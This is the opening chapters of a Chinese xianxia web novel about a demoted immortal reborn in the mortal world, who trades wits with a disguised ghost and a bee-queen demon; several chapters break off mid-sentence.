《满级大佬废号重练》 1. 楔子 《满级大佬废号重练》全本免费阅读 碧落之上,云间仙境。 一阵宏亮又悠长的钟声忽然响彻云霄,回响清晰,如涟漪般在云间仙境四处扩散,惊动了不少仙官。 “迎仙钟响,这是有人霞举飞升了!” “看来凡界又有人得道成仙,天庭今日要迎接新贵了。” “奇怪,迎仙钟一般不是响三下吗?怎么还在响呢?” “是啊,迎仙钟怎么响个不停,走,咱们出去看看。” 走出云雾缭绕的仙殿后,几位仙官更是大吃一惊。 天门外那片一碧如洗的蓝空,已经被堆锦积绣似的云霞铺满了,霞光七彩纷呈,瑰丽无比。 以往有凡人霞举飞升,托拥他们上天的云霞都只是红色彤云,七彩祥云十分罕见。 一位仙官难以置信地揉了揉自己的眼睛,“真的是七彩祥云吗?” “没错,就是七彩祥云。” “在云间仙境,还是头回见到霞举飞升时能乘上七彩祥云的人。何人竟有如此大的阵仗?” 奇光异彩的云霞深处,一道白色身影缓缓浮现。 那是一个十七八岁的少年,仙姿玉质,神清骨秀,一袭白衣皎洁若冰雪凝成,超然绝俗一如漫天霞彩,令人无法不为之目眩神摇。 迎仙钟响了七下后停住了,天门外的七彩云霞还在涌动如潮。 赤、橙、黄、绿、青、蓝、紫,七色纷杂地交织成一片明艳霞彩。 如此瑰丽辉煌的美景,却只是一个背景,那位白衣皎皎的少年,才是独一无二的主角。 他如同云霞簇拥着的一轮朝日,纵使霞光万道,也无法胜过朝日的光芒万丈。 所有来天门看热闹的仙官们,几乎齐刷刷惊掉了下巴。 如此年轻就能飞升成仙的少年,放眼整个云间仙境也找不出第二人。难怪迎仙钟为他响了七下,难怪有七彩祥云接引他上天界。 一位白发白须的老仙官,不自觉地捋着胡子喃喃自语:“这是何方神圣啊?” 白衣少年驾着一朵七彩祥云飞越天门,在云间仙境翩然落下,冲着四周围观的仙官们粲然微笑。 那个骄傲又自豪的笑容映着七彩霞光,如宝石般熠熠生辉。 “在下明光,见过诸位仙官。” “明光”这个名字,就如同迎仙钟宏大响亮的钟声,迅速传遍整个云间仙境,所有仙官都听说了这位闪亮登场的少年新贵。 . 两年后,当初闪亮登场的少年新贵,却以罪仙的身份被打落凡界。 云间仙境的仙官们,聚在一起谈论此人此事时,大都是满脸藏不住的幸灾乐祸。 作为天界有史以来最年轻的飞升者,明光十八岁就飞升成仙,可谓是实力碾压了一大波仙僚前辈们。 这些人大都对他好感欠奉,现在见他垮台自然是各种幸灾乐祸。 “想当初,明光飞升成仙时何其风光,真想不到他也会有今天。” “他有今天都是咎由自取。亏帝君如此看重他,封他为仅次于自己的灵曜天君,这样一人之下万人之上的位置,他居然还不满足,竟勾结鬼域之王想要谋害帝君取而代之,真是狼子野心。” “如此狼子野心之人,帝君没要他的命,只是贬落凡间已经算是便宜他了。” “没办法,鬼王已经伏诛,他又死不认账,帝君只能用护卫天界不力的罪名将他贬下去。” “明光是罕见的修真奇才,就算是贬下凡间沦为凡人,没准再修炼个十几年又能得道飞升。到时候重返云间仙境,不是给帝君添堵嘛!” “那肯定不能简单地把他贬为凡人了事。帝君虽然是这么下令的,但负责贬明光下凡的仙官可是华源真君,你们觉得他会手下留情吗 2. 小鬼 《满级大佬废号重练》全本免费阅读 三百年后,人间凡界,六合镇。 隆冬时节,雨雪霏霏。街道上几乎空无一人,唯有细雨夹着雪砂飘个不停,把青石路面泅得又湿又滑。 镇上的陈乡绅家,有人却冒着雨雪出了门,乘车赶往镇北的一处义庄,守庄人老黄十分殷勤地等在门口迎接。 “哟,王管家,这么冷的天您还亲自来了。” “因病夭折的三小姐可是我家老爷夫人的心头肉,为她配阴婚自然不能马虎,我得亲自过来把关才行。你说的那个路倒在哪儿?” 所谓路倒,就是倒毙在路上的行人。如果无亲无故无人收殓,尸体一般都会送到义庄草草下葬。 “王管家,这边请。那路倒看样子像个进京赶考的书生,长得很俊呢!也不知怎么就死了,估计是犯了什么急症吧!” 一边说,老黄一边领着王管家进了义庄,在一处停尸的板床前停下来,伸手掀开盖在尸身上的白布。 死去的书生很年轻,顶多弱冠之年,一张惨白的面孔已经毫无生气,但不难看出生前是个英俊小生。 “嗯,这个是不错。” “王管家,那就他了吧?省得这天寒地冻的鬼天气,我还得去刨别人的坟来为三小姐配阴婚。” “行,就他了。既然有了一个这么合适的死鬼来当新郎倌,也就没必要再进行那种下下策。” “这书生虽然短命做了异乡鬼,但死后能与陈三小姐配成阴婚,也算是他的福气,起码不再是孤魂野鬼了。” “你去套辆车,天黑后把人送来陈府成亲,这是你的辛苦费。” “多谢王管家。” 接过赏银后,老黄就眉开眼笑地准备去套车了,王管家跟在他身后也准备走人。 刚刚转过身子,王管家突然又猛地一回头,颈骨发出不胜负荷的咔嚓一声响,差点扭了脖子。 “老……老黄……” 王管家的声音满是惊恐,老黄倒回来不解地问:“王管家,怎么了?” “我刚才……好像瞥见这书生的眼帘动了一下,他真的死了吗?” “王管家,您肯定是眼花了!这书生已经死得不能再死了,尸体都僵硬了,不信你摸摸。” 王管家当然不会伸手去摸一个死人,那样也太晦气了。 老黄长期负责为各种路倒收尸,他既然说是死人,那就一定是死人,绝对不会有错。 那么错的只能是自己,他点头道:“那应该是我眼花看错了!” . 子夜过后,陈乡绅家的一场阴婚仪式举行完毕。 一对“新人”的棺材齐齐摆放在灵堂中央,四处挂满了白色灯笼和白色绫帐。 正在燃烧的龙凤喜烛是特制的白蜡烛,供桌上摆放着的碗碟盘盅也是清一色的白瓷。 仪式已经结束了,陈家的主子们都已经回房休息了,只留了两个下人在灵堂守夜。 守了不到一刻钟,他们都感觉困得不行,不知不觉地闭上眼睛靠着墙角睡着了。 两个下人刚刚入睡,灵堂就开始闹鬼,一个小鬼穿过紧闭的房门飘进来,直奔供桌而去。 那是一个名符其实的小鬼,大概七八岁的年纪,头发乱蓬蓬,脸蛋脏兮兮,显然已经做了很长时间的孤魂野鬼。 孤魂野鬼要么是客死异乡之人,要么是死后无人祭祀的亡魂。他们得不到来自亲人的供品,饿极了就会去偷吃别人的供品。 供桌上是为“新人”准备的供品,规格都和红喜事一样。 一大盆煮好的汤圆代表喜结良缘; 四盘红枣、花生、桂圆、糖莲子代表早生贵子; 四碟五色同心糕点,代表永结同心: 供桌两端各有一堆码得整整齐齐的龙须糖,代表甜甜蜜蜜。 小鬼走到供桌旁,迫不及待地凑到一碟糕点前,低下头猛吸一气。 鬼魂食用人间供品的方式是吸食,可以直接吸去食物的精华,而食物本身并不会减少。 一碟糕点还没吸食完,小鬼忽然有所警觉地抬起头。 愕然发现那具属于新郎倌的棺材盖已经被打开,一个人正动作矫健地从里头爬出来。 那位原本已经死透了的年轻书生,不知怎么又活过来了。 . 棺材里爬出一个大活人,跟小鬼打了一个照面,人与鬼面面相觑了片刻后,年轻书生先开口了。 “没事没事,你继续吃,我请客。” 年轻书生一副热情好客的口气,小鬼却是一脸懵地看着他发呆:“……” 一般情况下没人能够看见虚无飘渺的鬼魂,这书生显然不是普通人,应该是修士之流。 但修士大都以降妖伏魔驱邪捉鬼为己任,见到鬼才不会这么热情地请客吃饭呢。 “你——是什么人?” 小鬼神色怯怯地发问,身体姿态也是一副随时准备拔腿就逃的架势。 “放心,我不是修士,不会对付你的。” 小鬼朝着年轻书生身后的棺材张望了一眼,小心翼翼地跟他确认道:“那是你的棺材?这是你的供品?” “对,所以我说我请客,你随便吃,吃饱再走。” “那你到底死没死啊?” “当然没死,只是他们以为我是死人,就把我抬过来配阴婚了。” 年轻书生的面孔已经不再苍白,不但恢复了活人应有的生气,双颊还透着几分红润。 一身簇新又鲜艳的大红喜袍,更是把他衬托得容光焕发,全然看不出之前还是一个死人。 一边招呼着小鬼随便吃,年轻书生一边自己动手吃起了东西。 汤圆尚有微温,他用汤勺捞了一只塞进嘴里,只嚼了一下就赞不绝口。 “嗯,是桂花芝麻馅的汤圆,这么软糯香甜,一定是今天现做的。好吃,你也尝一尝。” 确认了年轻书生对自己没有恶意后,小鬼脸上的神色安心多了,又问道:“我吸食过的东西,你能吃吗?” 鬼魂食用过的供品阴气重,活人是不能吃的,吃了会生病,身子弱的话搞不好还会死翘翘。 “能,我什么都能吃,吃不死的。” . 一人一鬼围着那盆汤圆大快朵颐,一个猛吃,一个猛吸,一口气干光半盆后,转战干起了花生桂圆红枣莲子。 “小鬼,看你这副狼吞虎咽的样子,饿很久了吧?” “彼此彼此,你看起来也饿惨了。” 年轻书生既然对自己不构成威胁,态度又很和气,小鬼跟他说话也就随便多了。 “别提了,整整三天三夜没吃东西,那叫一个饥寒交迫。实在走不动了就躺下来歇一会儿,没想到被人当成尸体捡回去派用场了。” “你应该不是普通人,被他们派这样的用场怎么不走呢?” “因为我听到了他们的对话,如果没有发现我这个路倒,今晚就打算去挖别人的坟来配这桩阴婚,只好勉为其难地牺牲一下。现在有这么多供品吃,也算是不亏了!” 小鬼瞥了一眼墙角呼呼大睡的两个下人,问道:“他俩是你弄睡着的吧?” “是啊,我已经饿得前胸贴后背,急着出来吃东西,就略施小计送他们入了梦乡,否则要是吓死人 3. 小妖 《满级大佬废号重练》全本免费阅读 夜半三更,六合镇外,荒山野岭。 一片向北的山坡上,有座很气派的夫妻合葬坟茔,属于陈乡绅白天刚落葬的女儿女婿。 坟头前还残留着不少鞭炮的碎屑,与满地残雪混在一起。 深夜的坟茔四周无人,十分安静。凛冽的北风紧一阵慢一阵刮着,摇动漫山遍野的树木随之簌簌作响。 风摇树响的声音中,还夹杂着一种若隐若现的沉闷声响,是从坟茔里面传来的,似乎有什么东西在地下刨洞。 那声音越来越明显,坟头前浸透雨雪的潮湿土壤也随之缓缓隆起。 片刻后,一只沾满泥土的手破土而出,手腕处戴着一根缀了银铃的金刚结红绳。 刚下葬不久的坟茔里突然伸出一只手,如此闹鬼的一幕要是被人看见了,一定要被吓疯不可。 一只手伸出地面后,另一只手也紧接着往外扒,很快大阿难就自己把自己从土里头扒拉出来了。 “总算出来了,快憋死我了!” 爬出地面的大阿难活像一个土人,从头到脚都是泥土,那叫一个灰头土脸。 一边大口大口地呼吸着新鲜空气,他一边动手掸起了自己一身的泥土。无意中瞥见坟前摆着的供品,眼睛顿时为之一亮。 “太好了,又有吃的。” 昨晚吃的东西已经消化得一干二净,刚才的一通刨地打洞又是力气活,消耗了他不少体力,肚子更是饿得咕咕直叫。 坟前摆放的供品很是丰盛,有鱼有肉。 鱼是整条清蒸的鲈鱼,肉是整只红烧的猪肘,就是都已经凉透了,还沾了不少纸钱灰,看起来脏兮兮。 如果是以前,大阿难绝对不会吃这种东西。而现在,他毫不嫌弃地就抄起一双上供的筷子吃起来。 哪怕鱼冷了透着一股腥味,冰凉的红烧肘子也没滋无味。 埋头大吃特吃了一通后,大阿难忽然有所警觉地一抬头,发现一道鬼影出现在坟茔旁。 “咦,小鬼,怎么又是你?” 小阿难满脸关切的神色,眨巴着眼睛回答道:“我特意过来看看你要不要帮忙,虽然我可能也帮不上什么忙。” . 如果银铃昨晚没有提醒过这个小鬼不简单,大阿难搞不好就真信了他的鬼话。 明明是个厉害角色,却要假扮弱小可怜又无助的小鬼跑来卖乖,肯定是在打着什么鬼主意。 “阿难弟弟,你心肠真好,多谢关心。” 大阿难心里想着“我信你个大头鬼”,嘴里却说着感激的话语。 小鬼既然想演那就陪他演喽,反正他如今也是演戏的一把好手,拼起演技来不见得会输,看谁演得过谁吧。 “阿难哥哥,你昨晚请我吃了那么多东西,我就想做点力所能及的事报答一下,你顺利出来了就好。” 大阿难随口叫了小阿难一声弟弟,他就打蛇随棍上地喊起了他哥哥,喊得别提多情真意切了。 “这里又有供品,你既然来了,要不要再一起吃点?” “这些东西又冷又脏,你也吃得下去吗?” “肚子饿的时候,我什么都吃得下去。东西再难吃,也比饿肚子要强。” “这倒也是,只不过阿难哥哥,你看起来不像是受过苦遭过罪的人呢!” “你个小鬼能看得出什么呀!我受苦遭罪的时候,估计你都还没出生呢!” “阿难哥哥,你到底是什么人啊?” 小阿难一脸天真好奇的神色,大阿难清楚他这是想要刺探自己的底细。 “我啊,就是一个七灾八难倒霉透顶的人。” 含糊其词的一语带过后,大阿难反过来问道:“你呢?怎么小小年纪就做了鬼?” “我也是一个七灾八难倒霉透顶的人。母亲生我时难产而死,父亲因此觉得我不祥,就把我寄养在一家道观里。没爹没娘的孩子少不了被人欺负,有天一个小孩子拿砖头砸我,不巧砸中了后脑勺,我就这样被砸死了。” 小阿难这番话也不知是真是假。 但他委屈巴拉、可怜兮兮、还含着两泡眼泪的小模样儿,着实惹人心疼怜爱,一点都看不出表演的痕迹。 大阿难忍不住在心底为他点赞:这家伙如果真是在演的话,那这演技也真是没谁了! . “阿难弟弟,你好可怜啊!” 大阿难满脸同情地伸手去摸小阿难的头。 他顺势呜咽着扑进他怀里,一副想要求抱抱求安慰的弱小姿态,右手却蓦然勾指如爪,朝着大阿难的胸口剜去。 这是一招致命的杀招,在如此近的距离中很难躲过。不过大阿难早有防备,出手奇快地用右拳对上小阿难索命的五爪,并借助冲击力后退了一箭之地。 “你这小鬼真行啊!一边装可怜,一边下黑手,要不是我早就心存提防,没准真要死在你手里了!” 小阿难脸色一变,可怜兮兮的小模样眨眼间就收得一干二净,取而代之的与年纪全然不符的阴沉冷酷。 “你是怎么识破我的?” 小阿难想不通自己是怎么暴露的。 大阿难居然早就识破了他没安好心,之前不过是在跟他同台飚戏,扮演一个毫无心机的角色,其实心机深着呢! “我为什么要告诉你?” “不说拉倒,反正今晚你别想逃出我的手心,我有的是时间慢慢审你。” 小鬼一边说话,一边上演变形计——原本又矮又小的孩童魂体,迅速变成了二十岁左右年轻男子的肉身。 身形颀长,体格瘦削,看起来也像一个手无缚鸡之力的文弱书生。 大阿难却丝毫不敢掉以轻心。 既能缩小自身形态,又能化魂体为肉身的鬼,绝对不是普通的鬼,一定是无间鬼域的厉害角色。 . 碧落之上,有云间仙境; 黄泉之下,有无间鬼域; 红尘之中,有人间凡界; 所谓的天、地、人三界是也。 仙境与鬼域虽是两个截然不同的世界,但有一点是相同的。 ——人间凡界的人,活着飞升成仙固然是牛人,死后堕入鬼域还能异军突起的,也是不折不扣的牛鬼。 无间鬼域的牛鬼们,有个共同的特性是阴邪。 想要在魑魅魍魉横行的无间鬼域拼出一方天地,很傻很天真的鬼是肯定牛不起来的,能牛起来的都是阴险毒辣的狠角色。 之前,小阿难的孩童外表一派弱小可怜。 变成年轻男子的外形后,虽然看上去一副文质彬彬的斯文模样,但是那双眼型狭长、眼角锋利的丹凤眼,却散发着狠戾无比的气势,压迫感十足。 大阿难见势不妙拔腿就跑,鬼阿难如影随形地追上来。两人的身形都迅疾如风,片刻间就已经飞掠到了另一座山头。 4. 不服不行 《满级大佬废号重练》全本免费阅读 那队巡山的小妖清一色半人半妖,都还没有完全修炼出人形。 有的人首兽身,有的兽首人身,看起来是同一个品种——黄蜂。 为首者的蜂妖基本上算是一个囫囵人了——上半身已经人模人样,下半身还是蜂形,背上还长着一双翅膀。 对于妖阿难满脸是笑套近乎的行为,它颇感意外:“咦,你这人胆子倒是大,见了咱们一点也不害怕。” “其实我也是妖,大家同为妖族,我见了你们只觉得亲切,有什么可怕的呢!” 妖阿难跟蜂妖说这番话,满脸都是“可算遇着亲人了”的由衷神色。不知道的人见了,还以为他和这帮妖怪是骨肉至亲呢! 鬼阿难在一边冷眼旁观着,心底不由自主地“切”了一声:这家伙还真是演得一手好戏呀! “哦,你也是妖,不说没发现,你身上还真有妖气呢!” 鬼阿难也察觉到了,有丝丝缕缕的妖气正从妖阿难身上散发出来,看来他这一身妖气收放自如。 “是啊是啊,自己人——啊不自己妖。” “你的原形是什么?” 妖阿难笑眯眯地回答道:“我是蝴蝶,和你们同属昆虫一族,还请多多关照。” . 鬼阿难虽然看不出妖阿难的原形是什么,但是他敢赌上黄金万两绝对不是蝴蝶。 这家伙看上去好像毫无心机,其实很有城府。 别看他见人说人话、见鬼说鬼话,跟谁都能嘻嘻哈哈说得上话,但不该说的一个字也不会往外吐,绝不会轻易透露自己的底细。 如果知道了妖怪的原形是什么,就能利用它天生的弱点对付它。譬如草木之妖怕火烧,昆虫之妖怕烟熏。 “你是蝶妖啊,原形就漂亮,化成人形也这般俊俏。我家女王蜂眼下正要找几个美男子充实后宫,你看起来很合适,正好跟我一起回去服侍她。” 蜂妖首领这话完全不是征求意见的口气,如果妖阿难不答应,肯定会下令让手下强抢妖男,直接把他绑回去献给女王蜂。 鬼阿难幸灾乐祸地等着看妖阿难的笑话:这下我看你还怎么演的下去? “好啊,能去服侍女王蜂也不知是我几辈子修来的福气,求之不得呢!” 妖阿难的表演仍然坚/挺,没有半点拉胯。 脸上求之不得的欣喜表情如假包换,仿佛他的妖生梦想就是当男宠,没有之一。 “你知道就好。我家女王蜂可是一个大美人儿,便宜你小子了。” 为自家女王蜂搞定了一个男宠人选后,蜂妖首领的视线越过妖阿难,望向坐在他身后不远处的鬼阿难。 “那小子是谁?” “他呀,刚才偶然遇上的一个孤魂野鬼。” “这男鬼长得也不错,可以一起带回去服侍女王蜂。” 鬼阿难嘴角一抽:“……” 刚才他还在看妖阿难的笑话呢,没想到这么快就轮到自己了。这风水轮流转也转得太快了一点吧? “我是鬼,女王蜂的后宫连鬼都收吗?” “我家女王蜂荤素不忌,无论是人是妖还是鬼,只要脸蛋俊俏,统统照单全收。要不是天上的仙官够不着,她都想找一个来当王后呢!” 鬼阿难还能说什么?人家女王蜂连仙官都敢肖想,何况是区区一个鬼。 他刚才一掌劈中妖阿难,间接让自己也变成了伤兵一枚。 眼下这个给女王蜂当后宫男宠的选项,也只能先捏着鼻子暂时接受一下,好歹先争取一点养伤的时间。 “女王蜂这般打破窠臼,不走寻常路,真乃奇女妖也。” 妖阿难煞有介事的捧场之辞,听得鬼阿难忍不住翻了一个老大的白眼:这家伙拍起马屁来也很有一套呢! . 半个时辰后,洗得干干净净、穿得漂漂亮亮的两位新男宠,被蜂妖首领亲自送到了女王蜂的寝宫。 那是一座由山洞改造而成的宫殿,陈设与布置都很是华丽,几案上炉烟袅袅,暗香袭人。就是有点品味欠佳,华丽中透着一股庸俗的观感。 女王蜂的人形,是个百媚千娇万种风情的美妇人,一身华服满头珠翠,姿态慵懒地倚坐在一张美人榻上。 “你俩还傻愣着干吗?赶紧拜见女王啊!” 妖阿难和鬼阿难一起揖拜道:“拜见女王。” 扫了一眼蜂妖首领送来的两名新人,女王蜂露出一个满意的笑容。 “不错不错,这两个都甚合孤意。” 人妖殊途,人与人的鱼水之欢是阴阳互济,但人与妖行燕好之事却有损精元,时日越久亏损越大。 所以女王蜂的“后宫嫔妃”经常要上新,为了使用期能长一点,什么妖男、鬼男也照收不误。 女王蜂玉手轻招,把妖阿难和鬼阿难都叫到身旁仔细打量。又是捏他们的手,又是摸他们的脸,还挑起他们的下巴细看。 鬼阿难表面上维持着笑容不变,眼眸深处却已经亮起了两点怒焰。 妖阿难却依然笑得若无其事,还露出一点恰到好处的羞涩。 “女王美若天仙,小生如此陋质,也不知能否入得了女王的凤眼,有幸侍奉左右呢?” “你不但容貌俊美,一张巧嘴还很会说话,孤甚是喜欢,就封你为王后吧!” “多谢女王。” 荣获王后头衔的妖阿难,一脸喜不自禁的神色,开心得都合不拢嘴。 鬼阿难瞪着他发呆:“……” 这家伙到底什么妖啊?不但那么会演,还什么离谱的戏码都接得住,这临场发挥的水平真不是盖的。 扭过头看着陷入呆滞状态的鬼阿难,女王蜂错误解读了他的神色,不无调笑地伸手捏了一把他英俊的脸庞。 “放心,以你的姿色,孤也不会亏待你的,就封你为贵妃吧!” 新鲜出炉的难王后和难贵妃,不由自主地对视了一眼。那个一言难尽的眼神,只有他们自己能够体会。 “来人,准备一桌上好的酒菜,孤要与王后、贵妃把酒言欢,好好乐呵一下。” . 一桌美酒佳肴很快就备好了,妖阿难和鬼阿难,一左一右地坐在女王蜂身旁,扮演起了王后与贵妃的角色。 “多谢女王封我为王后,这杯酒我敬您了。” “也多谢女王封我为贵妃,我也敬您一杯。” 一妖一鬼的角色扮演,很容易就能看出高下之分。 鬼阿难演得比较生硬,有着明显的表演痕迹。相比之下,妖阿难要比他强多了,每句话每个表情都像是发自肺腑,完全不像是演的。 鬼阿难原本也算是个会演的鬼,但是遇上妖阿难这个超级会演的妖,想不服都不行。 “听说女王原本想找一位仙官为后,小生不过中人之姿,竟能蒙女王垂青封为王后,真是惶恐之至。今后一定会尽心尽力地侍奉左右,以报答女王的厚爱。” “你这小妖,真是一个乖巧的可人儿,孤以后定会好好疼你的。” 妖阿难殷勤巴结地把一杯酒举到女王蜂唇边,她低下头就着他的手喝了一口酒后,带着几分醉意又开了口。 “仙官什么的固然好,可是够不着啊!只有被贬下凡的罪仙还有可能沾上一点边。三百年前,云间仙境遭贬的灵曜天君,据说是个神光似玉、宝气如珠的美少年。孤一直想把他找来当王后,可惜到处都查无此人。” 听到“灵曜天君”这四个字,妖阿难目光一 5. 阴有苓 《满级大佬废号重练》全本免费阅读 女王蜂的宫殿门口守着几个小妖。 它们原本都站得东倒西歪地在打瞌睡,忽然发现“女王蜂”扶着一个美男子出来了,赶紧立定行礼。 “参见女王。” “平身。” “这么晚了,女王还不歇息吗?” “孤睡不着就出来走一走,你们不用跟着了,别妨碍孤和贵妃花前月下。” “女王蜂”的表情和言语都十分暧昧,一只手还在摩娑着难贵妃搀扶着她的手,小妖们都十分知趣地停下了脚步。 妖阿难不但外形变得和女王蜂一模一样,就连神态口气也惟妙惟肖。 就算正主儿在这里,估计小妖们一时半会都分不清谁是李逵谁是李鬼。 “走吧,贵妃,陪孤去山顶看星星看月亮。” 妖阿难姿态慵懒地扶着鬼阿难的手,扭动细腰走得一步三摇,把女王蜂的妖媚气质拿捏得死死的。 鬼阿难再一次叹为观止,压低声音道:“你真是演的一手好戏啊!居然连扮女人都行!” “想要逃命的话,不行也得行啊!少废话,走快点,我这副模样可维持不了多久,得赶在穿帮前成功跑路。” . 一妖一鬼马不停蹄地走出了女王蜂的老巢,来到了山洞外面。 走出山洞没几步,忽然有利刃出鞘的声音响起,随后一道剑光逼人而来,隔着不足一尺的距离,直指“女王蜂”的鼻尖。 “你就是那个荒淫好色、吸食了不少男子精元的蜂妖吧?” 那是一柄重剑,以玄铁锻造而成,通体漆黑又隐隐透着红光。像这类沉重无比的重剑,使用者大都是男子。 然而此刻手持重剑的人,却是一位冰雪颜容桃李年的女修士。那只皓腕凝霜雪的玉手,看似轻轻一折就会断,却将重剑握得稳如泰山。 女修身穿一袭湖青色窄袖劲装,长发束成一个利落的高马尾,除了一根青缎发带别无饰物,显得英姿飒爽。 她的容貌很是秀丽,神色却十分肃杀,两道目光更是冷锐如冰锥,看人一眼几乎能在皮肉上戳出两个血窟窿。 妖阿难差点没喷出一口老血。 瞧瞧他这七灾八难倒霉透顶的运气,变成女王蜂的模样刚逃出她的老巢,偏偏就遇上了来降妖伏魔的修士。 还有谁?还有谁能比他更倒霉? “这位真人,剑下留人啊!我并非蜂王女妖,而是被她强掳来的受害男子。” 青衣女修冷笑道:“你当我瞎吗?” “当然不是,真人你听我解释啊!” 妖阿难法力低微,启动了改头换面的术法后,就不能自行变回来,得等到它自己失效才行。 所以眼下的首要任务,就是说服青衣女修相信他不是女王蜂,否则背上这口黑锅就要没命了。 “真人,其实女王蜂已经知道你会来找她的麻烦,所以刚才把我变化成她的模样,想让我充当替死鬼把你糊弄过去。你要是不相信我的话把我杀了,那她可就奸计得逞了。还请真人明鉴啊!” 妖阿难一边说,一边扑通一声跪倒在青衣女修面前,一番话说得声泪俱下,令人动容。 青衣女修自然不会轻信,一张俏脸仍然板得铁板一块。 “我怎么知道你说的是真是假?” “他——他可以帮我证明。我和他是一起被女王蜂强抢到这里来的,我们都是受害者啊!” 青衣女修顺着妖阿难手指的方向看过去,目光落定在一旁的鬼阿难身上,眉头一皱。 “你是什么鬼?” 鬼阿难在一旁看了半天,早已经想好了要如何回答。定定心神后,就开始了自己演技精湛的表演。 “一个命丧他乡的孤魂野鬼,运气不好被抓来这里伺候女王蜂。如果不是遇上真人你,恐怕过不了几日我就要被她折腾得魂飞魄散了。” 鬼阿难声音幽幽、神色凄凄地说完这番话后,又提起一根颤巍巍的手指,直接指向身旁的妖阿难,一副既心怀惧怕又努力勇敢的样子。 “真人莫要信她鬼话连篇,她就是如假包换的女王蜂。今日我就算拼上一死,也不想让她逃出生天再去残害他人。” 对于鬼阿难反手插自己一刀的行为,妖阿难似乎也并不感到奇怪,只是苦笑着给了他两道“你这鬼的鬼品真心不行”的谴责目光。 鬼阿难脸不红心不跳地迎视着他的目光,脸上的表情明晃晃挂着“我可没找你麻烦啊现在是别人要找你麻烦我也没义务替你摆平”。 中了妖阿难的感同身受术法后,鬼阿难一直胸口钝痛。不过片刻之前,他发现痛感突然消失了。 再一想妖阿难变成女王蜂后曾经说过:“我这副模样可维持不了多久,得赶在穿帮前成功跑路”。 鬼阿难自然不难做出一个判断:看来这小妖的法术时效很有限,我中的感同身受之术应该已经失效了。 既然如此,没了顾虑的鬼阿难乐得作壁上观,坐等青衣女修出手杀了妖阿难。 他一死,变化术法自然会失效,而她意识到自己杀错了妖,肯定会继续深入巢穴寻找真正的女王蜂除妖伏魔。 到时候,鬼阿难就可以捡一个现成便宜,把妖阿难的内丹剜出来吃掉。 如果他曾经服食过什么天材地宝,精华早就已经纳入内丹之中,他可以全盘接收。 . 鬼阿难“大义凛然、不畏牺牲”的出面指证,让青衣女修脸上的神色越发肃杀起来。 “还想蒙混过关,今晚我必取你性命不可。” 话音未落,青衣女修手腕一番,剑光如闪电般直袭“女王蜂”。鬼阿难赶紧闪到一旁先躲起来,等着坐收渔翁之利。 眼看妖阿难就要性命不保,突然铛的一声巨响,雄壮浑厚如黄钟大吕,震得人耳膜一痛,眼晴一黑,脑子像被雷劈过似的嗡嗡作响。 无论是青衣女修还是鬼阿难,都被这声巨响震倒在地,好半天都爬不起来。 青衣女修终于重新站直身子时,发现“女王蜂”已经逃得无影无踪。 “可恶。” 青衣女修手持重剑,不依不饶地追进了山洞,女王蜂既然跑了,那就先剿了她的老巢再说。 鬼阿难则就近找了一座坟墓钻进去。刚才那声巨响,差点把他的魂魄都震散了,得在阴气重的坟墓里休养生息。 半死不活地躺在墓中,鬼阿难还在嗡嗡作响的脑子里回想着刚才那声巨响,听起来有点像是法铃的声音。 法铃乃道家驱妖降魔的法器之一。 清脆悦耳的“叮铛”之声,有着辟邪魔、亲神灵之功效,正所谓“振动法铃,神鬼咸钦”。 可妖阿难一个妖,怎么会有法铃来搭救他呢?这个问题,鬼阿难快把脑壳想破了也没想出答案。 . 青衣女修持剑闯入女王蜂的老巢,一路挥舞重剑,杀得不少小妖哭爹喊娘,惊动了原本沉睡的女王蜂出来查看究竟。 “何人竟敢擅闯老娘的地盘? 6. 红衣女郎 《满级大佬废号重练》全本免费阅读 仲春时节,华城。 华城最热闹的集市是西市,这里有各式各样的商家和琳琅满目的商品,前来逛西市的人从早到晚络绎不绝。 西市的入口处,有人摆了一个小摊卖字谋生。 一张掉光了漆的旧方桌,加两把吱呀作响的旧木凳就是全部家当。 有块充当招牌的长木板竖在桌前,上面写着四个字——“代写书信”。 一个年轻书生端坐在桌子后面,正是那不知是何妖的阿难。 他穿着一袭灰扑扑的棉质长衫,顶髻上插着一支粗糙的竹制发簪,双脚套着一双褪了色的旧布鞋。 从头到脚没有一样值钱的东西,“穷光蛋”三个字几乎就是顶在脑门上。 在西市门口百无聊赖地守了一上午,阿难才好不容易等来了一位客人。 那是一个混混模样的小子,要求帮他写一首情诗,也不知要去哄骗哪家的无知少女。写完一个铜板也没给,直接拿了就想抬腿走人。 “记账。” 阿难一把拦住小混混,笑容可掬地道:“抱歉客官,小本生意,不记账,收现钱。” “老子说记账就记账,滚一边去。” 小混混骂骂咧咧地想要把人推开,可是这书生看起来瘦伶伶的,他随手推一下却推不动。 “客官,十个铜板,请付账,谢谢。” 小混混当然不可能给钱,见推了一下没把人推开,干脆直接上脚踹。 “你个穷酸书生找死嘛!” 那一脚又准又狠地踹中了阿难的腹部,一般人肯定会被踹成滚地葫芦。 但他却站在原地纹丝不动,仿佛不是人而是一座石像,稳当得不可思议。 踹人的小混混却连退了好几步,感觉这一脚像踢到了铁板,脚掌差点没折成两半,疼得呲牙又咧嘴。 “我不想找死,只想收钱。十个铜板,可以给钱了吗?” 小混混吃了亏就学会乖了,立马老老实实地掏出十个铜板递过去。 “感谢惠顾,客官慢走,有需要再来啊!” 阿难接过钱后笑容满面地送客,小混混拖着一条伤人不成反伤己的右腿,一瘸一拐地悻然走开了。 . 守了一上午,就挣了十个铜板,正好够阿难中午在附近馄饨铺吃上一碗最便宜的清汤馄饨。 一碗热气腾腾香气扑鼻的馄饨被送上桌后,阿难刚埋头喝了一口汤,眼角余光就瞥见之前那个小混混。 他正一瘸一拐地从店门外走过,身旁跟着好几个一看就是泼皮无赖的家伙。 很显然,小混混刚才吃了亏不肯善罢甘休,找了一帮兄弟杀回来想跟他秋后算账呢。 阿难懒得搭理这群乌合之众,眼前这碗热乎乎香喷喷的清汤馄饨,才值得他花时间好好享用。 可惜事与愿违,一碗馄饨还没吃上几口,小混混那帮人就气势汹汹地冲进了铺子。 他们在摊子那边扑了一个空,猜到阿难应该是去吃午饭了,便在附近的食肆饭铺里轮流找人,很容易就找到了他。 “大哥,就是这小子弄伤了我的腿。” 小混混恶人先告状,他口中的大哥满脸横肉,高大魁梧,铁塔似的往阿难面前一杵,恶狠狠地扬起自己砂钵大的拳头。 “臭小子,敢欺负我镇山虎的弟弟,真是活腻味了!” “稍等一下。” 阿难举起一只手示意暂停,镇山虎自然是不会配合的,还想一拳把这文弱书生直接揍趴下。 然而,他无比惊骇地发现自己突然动不了了,整个人就像被点了穴道似,保持着张牙舞爪的姿势一动不动。 “大哥,你愣着干吗呢?” 